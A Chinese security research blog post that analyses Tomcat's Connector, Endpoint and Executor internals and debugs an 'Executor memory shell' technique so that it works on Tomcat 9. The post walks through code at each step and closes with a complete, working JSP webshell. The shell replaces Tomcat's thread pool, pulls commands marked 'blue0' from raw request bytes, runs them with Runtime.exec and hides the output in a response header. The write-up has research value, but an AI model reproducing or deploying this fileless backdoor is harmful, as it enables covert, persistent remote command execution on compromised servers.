Executor内存马实现的优化

渗透技巧 2年前 (2022) admin
517 0 0

最近先后出现了WebSocket内存马和Executor内存马,本着不光要会用还得懂原理的想法,对两种内存马进行了一番测试和调试。

对WebSocket内存马的测试很顺利,作者文章中提供的样本拿来直接就可以正常使用。

而在测试Executor内存马样本的过程中,可能由于测试环境不同(推测作者的环境是Tomcat8,而我的环境是Tomcat9),遇到了几个状况:
1、内存马注入过程中,类型转换异常;
2、内存马注入之后,获取请求数据过程空指针异常;
3、内存马获取的数据始终为缓存数据,而不是当前请求发送来的最新数据。

最终通过调试Tomcat的代码,解决了以上的问题,也算是修改出了一版可以在Tomcat9下正常使用的Executor内存马。本文就记录了此次的调试过程和解决办法。

**之前没有调试阅读过Tomcat代码,本次也仅针对Executor内存马相关的代码进行粗略的阅读和调试,所以文中记录的一些概念和对代码的理解一定会有错误和不完善,烦请谅解和指出**

0x01 Connector


Tomcat由多个组件组成,而它的两大核心组件为Connector和Container,Connector负责接收外部请求,Container负责处理请求。

Executor内存马实现的优化

Filter/Servlet/Listener/Valve内存马都是在Container中进行注入,这类内存马相关的文章对Container内部的相关组件已经有了大量的介绍。而Executor内存马主要涉及到对Connector中一些组件的获取和修改,所以此次分析的重点也就放在了Connector上。

Connector主要有如下三大功能:

1. 网络通信:
   – 监听网络端口
   – 接收网络连接请求
   – 读取网络请求字节流

2. 应用层协议解析和封装:
   – 根据应用层协议(HTTP/AJP)解析字节流,生成统一的Request和Response对象(**需要注意的是,Connector为了兼容多种协议,没有耦合Servlet标准,所以这里生成的Request和Response都没有实现HttpServletRequest和HttpServletResponse接口**)

3. Request和Response对象转换和传递:
 – 将Request和Response对象转换为HttpServletRequest和HttpServletResponse对象
   – 将HttpServletRequest和HttpServletResponse对象转发给Container

这三大功能不是由Connector单独完成的,而是Connector中封装的三个重要组件功能完成的:

a. 网络通讯:Endpoint

b. 应用层协议解析和封装:Processor

c. Request和Response对象转换和传递:Adaptor


其中Endpoint和Processor还被放在一起抽象成了ProtocolHandler协议组件。

Executor内存马实现的优化

Connector分三个阶段对相关功能所需的各类组件进行初始化准备工作:Connector实例化、Connector init、Connector start

– Connector实例化阶段
  – ProtocolHandler实例化
    – Endpoint实例化
    – ConnectionHandler实例化

– Connector init阶段
  – Adapter实例化
  – ProtocolHandler init
    – Endpoint init
      – ServerSocketChannel实例化

– Connector start
  – ProtocolHandler start
    – Endpoint start
      – Executor实例化
      – Poller实例化
      – Acceptor实例化

先对这三个阶段涉及到的组件做简单介绍,了解一下它们的功能。

ProtocolHandler

ProtocolHandler负责网络通信、应用层协议解析和封装,由两个核心组件Endpoint和Processor具体做这两件事。

从实现类来看,Connector主要支持两种协议:HTTP/1.1协议和AJP协议。但实则还支持HTTP/2.0协议,HTTP/2.0的处理和HTTP/1.1、AJP不同,采用一种升级协议的方式实现。

除了支持3种协议外,还分别支持3种I/O方式:NIO、NIO2、APR,Tomcat8.5之前默认还支持BIO。协议和I/O方式两两组合就出现了很多实现类:Http11NioProtocol、Http11Nio2Protocol、Http11AprProtocol、AjpNioProtol、AjpNio2Protocol、AjpAprProtocol

Endpoint

Endpoint负责网络通信,监听一个端口,循环接收socket请求,读取网络字节流等。

这里的Endpoint是一个抽象概念,Tomcat默认并没有提供Endpoint接口,而是提供了一个抽象类AbstractEndpoint(后来Tomcat支持Websocket之后,增加了Endpoint接口,但是该接口主要用于实现Websocket通讯端点的生命周期),又根据I/O方式提供了若干实现类:NioEndpoint、Nio2Endpoint、AprEndpoint。Http11NioProtocol中就使用了相同I/O方式的NioEndpoint。

网络通讯这一层是非常复杂的,Endpoint内部也抽象出了许多不同的组件来处理具体的工作,如:

LimitLatch:限流器,保证Web服务器不被高流量冲垮

Acceptor:循环监听socket请求,返回SocketChannel对象

NioChannel:接收到的SocketChannel,会根据I/O方式进行包装,如同步非阻塞封装成NioChannel、异步非阻塞封装成Nio2Channel。NioChannel中封装了SocketChannel对外部传入Buffer的读写操作。

SocketWrapper:对NioChannel的再次封装,其他组件对Socket的读写都不直接调用NioChannel,而调用SocketWrapper。实现了NioChannel读写自身Buffer的效果,也可对传入的其他Buffer进行读写。SocketWrapper会被注册为PollerEvent对象,并加入Poller事件队列中,等待Poller的处理。

Poller:检查Poller事件队列,从SocketWrapper中获取SocketChannel并注册到Selector上。当有读写事件发生时,将SocketWrapper交给SocketProcessor,并丢给线程池Executor处理。

Executor:Tomcat自己实现的线程池,接收SocketProcessor(Runnable子类)对象执行其中的doRun方法。

SocketProcessor:等同于线程池的Worker,会根据SocketChannel的握手情况和读写事件,调用对应的Processor对SocketWrapper进行读写和处理。

Executor内存马实现的优化

Processor

Acceptor接收到请求封装成一个SocketProcessor扔进线程池Executor后,会调用Processor从操作系统底层读取、过滤字节流,对应用层协议(HTTP/AJP)进行解析封装,生成Request和Response对象。不同的协议有不同的Processor,HTTP/1.1对应Http11Processor,AJP对应AjpProcessor,HTTP/1.2对应StreamProcessor。

SocketProcessor并不是直接调用或传入Processor,而是通过ConnectionHandler找到一个合适的Proceesor进行处理,根据不同协议创建Http11Processor或AjpProcessor

Adaptor

Adapter接口只有一个实现类CoyoteAdapter,主要职责如下:

– 将org.apache.coyote.Request(后面简称:coyoteRequest)和org.apache.coyoteResponse(后面简称:coyoteResponse),转换为实现了标准Servlet的org.apache.catalina.connector.Request(后面简称Request)和org.apache.catalina.connector.Response(后面简称:Response)

– 将请求体的serverName、URI、version传给Mapper组件做映射,匹配到合适的Host、Context、Wrapper

– 将Request和Response传给Container处理,Engine通过管道Pipeline传给Host,Host再传给Context,Context传给Wrapper,Wtrapper是最终的Servlet

Executor内存马实现的优化

0x02 Executor内存马实现原理


Executor内存马的核心就是将Tomcat自己的线程池ThreadPoolExecutor替换为了我们自己实现的恶意线程池。

通过对Connector各组件的了解,可以知道,如果能够替换Connector中的Executor,那么就可以获取到所有的SocketProcessor,从而控制对Socket的读写。

替换Executor的方式有很多种,AbstractProtocol和AbstractEndpoint两个抽象类就提供了setExecutor方法。
//AbstractProtocol,实现ProtoclHandler接口public void setExecutor(Executor executor) {        endpoint.setExecutor(executor);    }
//AbstractEndpointpublic void setExecutor(Executor executor) {this.executor = executor;this.internalExecutor = (executor == null); }

只要想办法获取到ProtocolHandler或Endpoint对象,就可以直接调用这两个方法,完成Executor的替换。

在经过对Tomcat源码的熟悉之后,可以发现Tomcat类之间都会建立许多的相互引用,基本上可以任意一个对象经过层层引用,都可以找到任意一个其他对象。

如图就是我阅读源码之后粗略地画的一个相互引用关系的图(这个图还很不完整,仅包含SocketProcessor完成封装之间涉及到的一些对象,但已经足够说明Tomcat各类之间复杂的引用关系)

Executor内存马实现的优化

具体分析两种替换Executor的实现。先分析《Executor内存马的实现》中替换Executor的实现,再提供另一种Executor替换的实现方式。

Executor替换实现方式一

《Executor内存马的实现》中,替换Executor的核心代码如下。主要思路是筛选出Acceptor线程,从中获取Acceptor对象,再获取Endpoint对象,调用setExecutor完成Executor的替换。
public Object getStandardService() {  Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");    //获取线程组  for (Thread thread : threads) {    //遍历线程组    if (thread == null) {      continue;    }    if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {    //Tomcat包含一个Acceptor线程、一个Poller线程、多个(默认10个)exec线程,该if语句通过线程名筛选出Acceptor线程      Object target = this.getField(thread, "target");    //Acceptor实现了Runnable接口,Acceptor线程的target中存储Acceptor对象      Object jioEndPoint = null;      try {        jioEndPoint = getField(target, "this$0");    //Tomcat8及一下,Acceptor是Endpoint的内部类,内部类对象可以通过this$0获取上层类对象,即此处尝试通过Acceptor获取Endpoint      } catch (Exception e) {      }      if (jioEndPoint == null) {        try {          jioEndPoint = getField(target, "endpoint");    //Tomcat9开始,Acceptor通过endpoint成员存储Endpoint对象的引用        } catch (Exception e) {          new Object();        }      } else {        return jioEndPoint;      }    }
} return new Object();}
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); //从Acceptor线程中获取NioEndpint对象ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor"); //反射获取executor字段,即ThreadPoolExecutor对象threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler()); //利用ThreadPoolExecutor对象的参数,实例化自定义ExecutornioEndpoint.setExecutor(exe); //调用setExecutor完成Executor替换

异常1:类型转换异常

以上代码有一处错误,虽然在Tomcat9下,使用`jioEndPoint = getField(target, “endpoint”);`可以正确获取到Endpoint对象,但是其后缺少了一条`return jioEndPoint`,导致依然返回的是一个Object对象。之后在进行类型转换是就会报错:`java.lang.ClassCastException: java.base/java.lang.Object cannot be cast to org.apache.tomcat.util.net.NioEndpoint`

Executor替换实现方式二

(仅在Tomcat9下完成测试)

我们注入内存马通常是通过反序列化或者执行jsp文件来完成,这时候最容易获取的就是Request/Response对象,而这里的Request对象实际上是RequestFacade,通过它可以获取到Connector。
//RequestFacade    protected Request request = null;
//Request protected final Connector connector;

而根据前面的分析知道Connector中存储了ProtocolHandler

这样去掉对线程的筛选,优化方式一中getStandardService方法的代码如下:
public Object getStandardService(HttpServletRequest req) {    return getField(getField(getField(getField(req,"request"), "connector"),"protocolHandler"),"endpoint");}

获取请求数据

在完成Executor的替换之后,我们自定义的Executor已经可以获取SocketProcessor,就需要尝试从SocketProcessor中获取请求数据。
在《Executor内存马的实现》中,作者重写了`org.apache.tomcat.util.threads.ThreadPoolExecutor#execute(java.lang.Runnable)`,并在原有的`execute(command,0,TimeUnit.MILLISECONDS);`代码前,插入了获取请求、执行命令、响应结果的代码。
//org.apache.tomcat.util.threads.ThreadPoolExecutor#execute(java.lang.Runnable)    public void execute(Runnable command) {        execute(command,0,TimeUnit.MILLISECONDS);    }
//threadexcutor#execute @Override public void execute(Runnable command) {
String cmd = getRequest(); //从请求数据中获取需要执行的命令 if (cmd.length() > 1) { try { Runtime rt = Runtime.getRuntime(); Process process = rt.exec(cmd); //执行系统命令 java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = ""; String tmp = ""; while ((tmp = stdInput.readLine()) != null) { s += tmp; } if (s != "") { byte[] res = s.getBytes(StandardCharsets.UTF_8); getResponse(res); //响应命令执行的结果 }

} catch (IOException e) { e.printStackTrace(); } }

this.execute(command, 0L, TimeUnit.MILLISECONDS); //ThreadPoolExecutor的原有逻辑 }
}

获取请求数据的思路为:遍历线程组,从Acceptor线程中获取Acceptor对象,尝试获取一个NioChannel对象,然后从NioChannel.appReadBufHandler.byteBuffer中获取请求数据。
public String getRequest() {    try {        Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) { //遍历线程组 if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("Acceptor")) { //筛选Acceptor线程 Object target = getField(thread, "target"); //获取target,即Acceptor对象 if (target instanceof Runnable) { try {

Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack"); //Acceptor.this$0 => Endpoint; Endpoint.nioChannels.stack => 缓存的所有NioChannel对象,在一次请求后NioChannel对象会放入nioChannels中,当有新请求达到时,先尝试从nioChannels中获取一个NioChannel来封装SocketChannel和Buffer,当nioChannels不存在可用的NioChannel时,再创建新的NioChannel,这样可以有效减少对象创建和GC带来的开销。

ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer"); //获取NioChannel.appReadBufHandler.byteBuffer,对应的是一个HeapByteBuffer对象 String a = new String(heapByteBuffer.array(), "UTF-8"); //Buffer中存储的数据转换为字符串
if (a.indexOf("blue0") > -1) { //更具特征截取需要执行的系统命令 System.out.println(a.indexOf("blue0")); System.out.println(a.indexOf("r", a.indexOf("blue0")) - 1); String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("r", a.indexOf("blue0")) - 1);
b = decode(DEFAULT_SECRET_KEY, b); //传入的数据是一个加密数据,这一步会进行解密
return b; //返回明文系统命令 }
} catch (Exception var11) { System.out.println(var11); continue; }

} } } } } catch (Exception ignored) { } return new String();}

这段代码实现就会产生两个异常:
1、内存马注入之后,获取请求数据过程空指针异常;
2、内存马获取的数据始终为缓存数据,而不是当前请求发送来的最新数据。

异常2:空指针异常

目前《Executor内存马的实现》的获取请求数据的代码中会有两处实现,可能导致空指针异常。

第一处在获取Endpoint对象处:

Tomcat8中,Acceptor是Endpoint的内部类,内部类对象可以通过this$0获取上层类对象,即Endpoint对象。而在Tomcat9中,Acceptor是一个单独的类,无法通过this$0获取Endpoint对象,但可以通过endpoint变量获取到。

如果要用于Tomcat9下,相关代码就应该做如下修改:

第二处在获取NioChannel对象处:
Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack");
//变为Object[] objects = (Object[]) getField(getField(getField(target, "endpoint"), "nioChannels"), "stack");

无论是在Tomcat8下使用Acceptor.this$0获取Endpoint,或是在Tomcat9下使用Acceptor.endpoint获取Endpoint。在某些特殊情况下,依然存在空指针异常的可能。

Endpoint.nioChannels是NioChannel对象的缓存,目的是避免频繁地创建和GC。所以当一个请求到达Acceptor后,会先检查nioChannels中是否存在可用的NioChannel对象,如果存在则取出使用,如果不存在再创建新的NioChannel对象。
protected boolean setSocketOptions(SocketChannel socket) {    NioSocketWrapper socketWrapper = null;    try {        // Allocate channel and wrapper        NioChannel channel = null;        if (nioChannels != null) {    //检查nioChannels            channel = nioChannels.pop();        }        if (channel == null) {    //如果没有可用的NioChannel,则创建新的NioChannel对象            SocketBufferHandler bufhandler = new SocketBufferHandler(                    socketProperties.getAppReadBufSize(),                    socketProperties.getAppWriteBufSize(),                    socketProperties.getDirectBuffer());            if (isSSLEnabled()) {                channel = new SecureNioChannel(bufhandler, this);            } else {                channel = new NioChannel(bufhandler);            }        }        NioSocketWrapper newWrapper = new NioSocketWrapper(channel, this);    //NioChannel封装为NioSocketWrapper        channel.reset(socket, newWrapper);        connections.put(socket, newWrapper);        socketWrapper = newWrapper;

正常情况下,当出现多个并发的请求,并被处理完成之后,nioChannels中可能会存在多个NioChannel对象。这时候去执行Executor内存马获取请求数据的逻辑,不会有空指针错误。但是当遇到如下两种情况时,从Endpoint.nioChannels中获取NioChannel就会导致空指针异常:

1. 服务器没有出现过并发请求的情况,也就意味着一个NioChannel就可以应付当前的请求了,所以nioChannels最多就存在一个NioChannel对象;

2. nioChannels原本有多个NioChannel,但是由于高并发,刚好恶意请求到达时,只剩一个可用的或者不存在可用的NioChannel了。

当nioChannels的存储情况是以上两种情况时,如果再有一条新的请求到达Tomcat,此时代码执行到`图中箭头1`的位置时,会取出nioChannels中仅存的NioChannel或者新建一个NioChannel。之后nioChannels就没有NioChannel存储了。接着执行到`图中箭头2`的位置时(也就是被替换的Executor中),就会执行threadexcutor#getRequest,尝试从Acceptor线程来获取NioChannel。这时候NioEndpoint.nioChannels.stack返回的就是一个长度为0的Obejct数组。

在执行`objects[0]`就会产生空指针异常。

Executor内存马实现的优化

这里我们暂时不解决这个空指针异常的问题,紧接着来看下一个异常,空指针异常的情况会在解决下一个异常的过程中同时得到解决。

异常3:缓存数据

当nioChannels中的NioChannel足够多,不会导致空指针异常。但是会出现从NioChannel.appReadBufHandler.byteBuffer中获取的始终为缓存数据,而不是当前请求的最新数据的情况。

直接来看最终进行NioChannel#read调用的地方,在此处会读取最新的请求数据至一个buffer中。之前对于Processor的介绍已经提到过:**Processor从操作系统底层读取、过滤字节流,对应用层协议(HTTP/AJP)进行解析封装,生成Request和Response对象。**通过调用栈也可以看出来这一点,读取最新数据的位置位于Processor#process方法中。

Executor内存马实现的优化

而Processor是Executor中执行的SocketProcessor进行调用的。因此在《Executor内存马的实现》中,在执行ThreadPoolExecutor的原有逻辑之后,数据才会被从NioChannel中读入Buffer。而在ThreadPoolExecutor的原有逻辑之前无论对哪个Buffer的数据进行读取,都无法获取到最新的请求数据。
//threadexcutor#execute        @Override        public void execute(Runnable command) {
String cmd = getRequest(); //从请求数据中获取需要执行的命令
......//执行系统命令 ......//响应命令执行的结果
this.execute(command, 0L, TimeUnit.MILLISECONDS); //ThreadPoolExecutor的原有逻辑 }
}

此时要想获取到最新的数据,可以将getRequest()放在ThreadPoolExecutor的原有逻辑之后,待Processor完成数据读取之后,再从Buffer中获取最新的请求数据:

    @Override    public void execute(Runnable command) {
this.execute(command, 0L, TimeUnit.MILLISECONDS); //ThreadPoolExecutor的原有逻辑
String cmd = getRequest(); //从请求数据中获取需要执行的命令
......//执行系统命令 ......//响应命令执行的结果 }
}

但是按照如此更改,在SocketProcessor执行的最后,会关闭SocketChannel。当ThreadPoolExecutor的原有逻辑执行完毕之后,暂时没有想到办法将命令执行的结果直接响应给客户端。

Executor内存马实现的优化

正确获取最新数据

目前想到的办法需要在ThreadPoolExecutor的原有逻辑执行之前,对NioChannel进行读取,以获取最新请求数据。可以调用NioSocketWrapper#read进行实现。
public String getRequest(Runnable command) {  try {    ByteBuffer byteBuffer = ByteBuffer.allocate(16384);    //16384为16m,来自于Http11InputBuffer#init中初始化byteBuffer使用的大小    byteBuffer.mark();    //新Buffer的mark=-1,直接使用会报错。调用byteBuffer.mark()设置mark=position=0
SocketWrapperBase socketWrapperBase = (SocketWrapperBase) getField(command,"socketWrapper"); //SocketProcessor.socketWrapper socketWrapperBase.read(false,byteBuffer);

至此我们获取到了最新请求数据,但是这样NiChannel中的数据就会被读取,后续在Processor中要从NioChannel中读取数据时,就没有可读的数据了。

通过阅读Processor读取请求数据部分的代码,发现有一处代码实现可以让Processor从SocketBufferHandler.readBuffer中读取数据,而跳过对NioChannel的读取。

在Processor读取数据的过程中,会调用将NioChannel.appReadBufHandler.byteBuffer作为NioSocketWrapper#read的参数传入。

public int read(boolean block, ByteBuffer to) throws IOException {        int nRead = populateReadBuffer(to); //从SocketBufferHandler.readBuffer中读取数据        if (nRead > 0) {    //如果有数据复制,则返回复制数据的长度            return nRead;        }        ......//从NioChannel读取数据}
protected int populateReadBuffer(ByteBuffer to) { // Is there enough data in the read buffer to satisfy this request? // Copy what data there is in the read buffer to the byte array socketBufferHandler.configureReadBufferForRead(); int nRead = transfer(socketBufferHandler.getReadBuffer(), to); //将SocketBufferHandler.readBuffer中的数据复制给to
if (log.isDebugEnabled()) { log.debug("Socket: [" + this + "], Read from buffer: [" + nRead + "]"); } return nRead;}

在正常的Http 1.1协议请求的情况下,SocketBufferHandler.readBuffer始终是一个没有写入数据的Buffer,因此我们可以放心使用它,将内存马读取的数据写入到SocketBufferHandler.readBuffer中。

public String getRequest(Runnable command) {  try {    ByteBuffer byteBuffer = ByteBuffer.allocate(16384);    //16384为16m,来自于Http11InputBuffer#init中初始化byteBuffer使用的大小    byteBuffer.mark();    //新Buffer的mark=-1,直接使用会报错。调用byteBuffer.mark()设置mark=position=0
SocketWrapperBase socketWrapperBase = (SocketWrapperBase) getField(command,"socketWrapper"); //SocketProcessor.socketWrapper socketWrapperBase.read(false,byteBuffer);
ByteBuffer readBuffer = (ByteBuffer) getField(getField(socketWrapperBase,"socketBufferHandler"),"readBuffer"); //获取SocketBufferHandler.readBuffer
//设置Buffer的三个数据:mark=0、position=0、limit=数据长度 readBuffer.limit(byteBuffer.position()); readBuffer.mark();
byteBuffer.limit(byteBuffer.position()).reset(); readBuffer.put(byteBuffer); readBuffer.reset();

通过直接从NioChannel中读取数据,既避免了获取到缓存数据,又因为没有从nioChannels中获取数据,也避免了出现空指针异常的情况。

回显执行结果

关于回显结果,就使用了通用的方法,即依次找到Endpoint、ConnectionHandler、RequestGroupInfo.processors、RequestInfo、coyoteRequest、coyoteResponse,然后通过coyoteResponse.addHeader将数据写到响应头之中。关于这个回显链的构造,网上已经有大量介绍,就不详细分析了。
@Overridepublic void execute(Runnable command) {
String cmd = getRequest(); //获取请求数据 if (cmd.length() > 1) { ......//res = 命令执行结果 getResponse(res); //回显执行结果 }
public void getResponse(byte[] res) { try { Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) { if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("Acceptor")) { Object target = getField(thread, "target"); //从Acceptor线程中获取Acceptor对象 if (target instanceof Runnable) { try { ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors"); //Acceptor.this$0 => Endpoint; Endpoint.handler => ConnectionHandler; ConnectionHandler.global => RequestGroupInfo; RequestGroupInfo.processors => List<RequestInfo> for (Object tmp_object : objects) { //遍历List<RequestInfo> RequestInfo request = (RequestInfo) tmp_object; Response response = (Response) getField(getField(request, "req"), "response"); //RequestInfo.req => coyoteRequest; coyoteRequest.response => coyoteResponse response.addHeader("Server-token", encode(DEFAULT_SECRET_KEY,new String(res, "UTF-8"))); //向coyoteResponse中添加header
} } catch (Exception var11) { continue; }
} } } } } catch (Exception ignored) { }}

0x03 优化后的内存马


最终适配Tomcat9,且可正确获取最新请求数据的Executor内存马代码如下:
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %><%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %><%@ page import="java.util.concurrent.TimeUnit" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.concurrent.BlockingQueue" %><%@ page import="java.util.concurrent.ThreadFactory" %><%@ page import="java.nio.ByteBuffer" %><%@ page import="java.util.ArrayList" %><%@ page import="org.apache.coyote.RequestInfo" %><%@ page import="org.apache.coyote.Response" %><%@ page import="java.io.IOException" %><%@ page import="java.nio.charset.StandardCharsets" %><%@ page import="java.util.concurrent.RejectedExecutionHandler" %><%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %><%@ page import="org.apache.tomcat.util.net.NioChannel" %><%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%! public Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try {
declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (NoSuchFieldException | IllegalAccessException e) { } clazz = clazz.getSuperclass(); } return null; }

public Object getStandardService() { Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); for (Thread thread : threads) { if (thread == null) { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { Object target = this.getField(thread, "target"); Object jioEndPoint = null; try { jioEndPoint = getField(target, "this$0"); } catch (Exception e) { } if (jioEndPoint == null) { try { jioEndPoint = getField(target, "endpoint"); return jioEndPoint; } catch (Exception e) { new Object(); } } else { return jioEndPoint; } }
} return new Object(); }
class threadexcutor extends ThreadPoolExecutor {
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) { super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler); }
public String getRequest(Runnable command) { try { ByteBuffer byteBuffer = ByteBuffer.allocate(16384); byteBuffer.mark();
SocketWrapperBase socketWrapperBase = (SocketWrapperBase) getField(command,"socketWrapper"); socketWrapperBase.read(false,byteBuffer);
ByteBuffer readBuffer = (ByteBuffer) getField(getField(socketWrapperBase,"socketBufferHandler"),"readBuffer"); readBuffer.limit(byteBuffer.position()); readBuffer.mark();
byteBuffer.limit(byteBuffer.position()).reset();

NioChannel socket = (NioChannel) getField(socketWrapperBase,"socket");



readBuffer.put(byteBuffer); readBuffer.reset();

String a = new String(readBuffer.array(), "UTF-8");
if (a.indexOf("blue0") > -1) { System.out.println(a.indexOf("blue0")); System.out.println(a.indexOf("r", a.indexOf("blue0")) ); String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("r", a.indexOf("blue0")) );
if (b.length() > 1) { try { Runtime rt = Runtime.getRuntime(); Process process = rt.exec(b); java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = ""; String tmp = ""; while ((tmp = stdInput.readLine()) != null) { s += tmp; } if (s != "") { byte[] res = s.getBytes(StandardCharsets.UTF_8); getResponse(res); }

} catch (IOException e) { e.printStackTrace(); } }
}
} catch (Exception ignored) { ignored.printStackTrace(); } return new String(); }

public void getResponse(byte[] res) { try { Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) { if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("Acceptor")) { Object target = getField(thread, "target"); if (target instanceof Runnable) { try { ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "endpoint"), "handler"), "global"), "processors"); for (Object tmp_object : objects) { RequestInfo request = (RequestInfo) tmp_object; Response response = (Response) getField(getField(request, "req"), "response"); response.addHeader("Server-token", new String(res, "UTF-8")); } } catch (Exception var11) { continue; }
} } } } } catch (Exception ignored) { } }

@Override public void execute(Runnable command) {
String cmd = getRequest(command);
this.execute(command, 0L, TimeUnit.MILLISECONDS);


} }
%>
<% NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor"); threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler()); nioEndpoint.setExecutor(exe);%>




银河实验室

Executor内存马实现的优化

银河实验室(GalaxyLab)是平安集团信息安全部下一个相对独立的安全实验室,主要从事安全技术研究和安全测试工作。团队内现在覆盖逆向、物联网、Web、Android、iOS、云平台区块链安全等多个安全方向。
官网:http://galaxylab.pingan.com.cn/



往期回顾


技术

学习笔记 | Spring Security RegexRequestMatcher 认证绕过及转发流程

技术

Hadoop 未授权REST API漏洞利用参考

技术

Tomcat WebSocket内存马实现原理

技术

利用Outlook规则,实现RCE





点赞、分享,感谢你的阅读▼ 


▼ 点击阅读原文,进入官网

原文始发于微信公众号(平安集团安全应急响应中心):Executor内存马实现的优化

版权声明:admin 发表于 2022年10月21日 下午6:00。
转载请注明:Executor内存马实现的优化 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...